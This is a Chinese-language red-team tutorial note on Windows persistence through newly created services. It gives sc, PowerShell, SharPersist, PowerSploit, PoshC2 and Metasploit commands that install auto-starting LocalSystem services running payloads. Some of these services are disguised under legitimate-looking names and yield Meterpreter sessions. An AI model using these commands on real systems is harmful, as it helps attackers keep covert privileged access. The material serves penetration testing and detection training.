Window權限維持(三):新服務

  • 2019 年 11 月 14 日
  • 筆記

如果未正確配置Windows環境中的服務或這些服務可以用作持久性方法,則這些服務可能導致權限提升。創建一個新的服務需要管理員級別的特權,它已經不是隱蔽的持久性技術。然而,在紅隊的行動中,針對那些在威脅檢測方面還不成熟的公司,可以用來製造進一步的干擾,企業應建立SOC能力,以識別在其惡意軟件中使用基本技術的威脅。

命令行實現

如果帳戶具有本地管理員特權,則可以從命令提示符創建服務。參數「 binpath 」用於執行任意有效負載,而參數「 auto 」用於確保惡意服務將自動啟動。

sc create pentestlab binpath= "cmd.exe /k C:temppentestlab.exe" start="auto" obj="LocalSystem"sc start pentestlab
CMD –新服務

或者,可以直接從PowerShell創建新服務。

New-Service -Name "pentestlab" -BinaryPathName "C:temppentestlab.exe" -Description "PentestLaboratories" -StartupType Automatic  sc start pentestlab
PowerShell持久性–新服務

在兩種情況下,啟動服務時都會打開Meterpreter會話。

Meterpreter –新服務

SharPersist

SharPersist支持在受感染系統中創建新服務的持久性技術。在系統上安裝新服務需要提升的訪問權限(本地管理員)。以下命令可用於添加新服務,該服務將在Windows啟動期間作為本地系統執行任意有效負載。

SharPersist -t service -c "C:WindowsSystem32cmd.exe" -a "/c pentestlab.exe" -n "pentestlab" -m add
SharPersist–添加服務

Meterpreter會話將再次建立,或者與任何其他能夠與有效負載進行通信的命令和控制框架建立連接。

SharPersist–通過服務的計劃任務

PowerSploit

PowerSploit可用於對合法服務進行後門程序以實現持久性。可以利用兩個PowerShell函數來修改現有服務的二進制路徑,或者從先前手動創建的自定義服務中修改二進制路徑,以執行任意有效負載。

Set-ServiceBinPath -Name pentestlab -binPath "cmd.exe /k C:temppentestlab.exe"Write-ServiceBinary -Name pentestlab -Command "cmd.exe /k C:temppentestlab.exe"
PowerSploit –持久性

PoshC2

PoshC2還具有創建新服務作為持久性技術的能力。但是,將執行base-64 PowerShell負載,而不是任意可執行文件。從植入物處理機,以下模塊將自動執行該技術。

install-servicelevel-persistence
PoshC2持久性–安裝新服務

PoshC2將自動生成有效負載,並且該命令將在目標系統上執行以創建新服務。

PoshC2持久性–新服務

該服務將自動啟動,並具有名稱「 CheckpointServiceUpdater 」,以使其看起來合法。

PoshC2持久性–創建新服務

Metasploit

Metasploit框架具有一個後開發模塊,該模塊支持兩種持久性技術。

  1. 註冊表運行鍵
  2. 新服務

需要將啟動變量修改為SERVICE,以便在系統上安裝新服務。

use post/windows/manage/persistence_exe  set REXEPATH /tmp/pentestlab.exe  set SESSION 1set STARTUP SERVICE  set LOCALEXEPATH C:\tmp  run
Metasploit持久性模塊–服務

需要Metasploit多重/處理程序模塊來捕獲有效負載並與受感染的主機建立Meterpreter會話。

Metasploit Meterpreter –通過新服務的持久性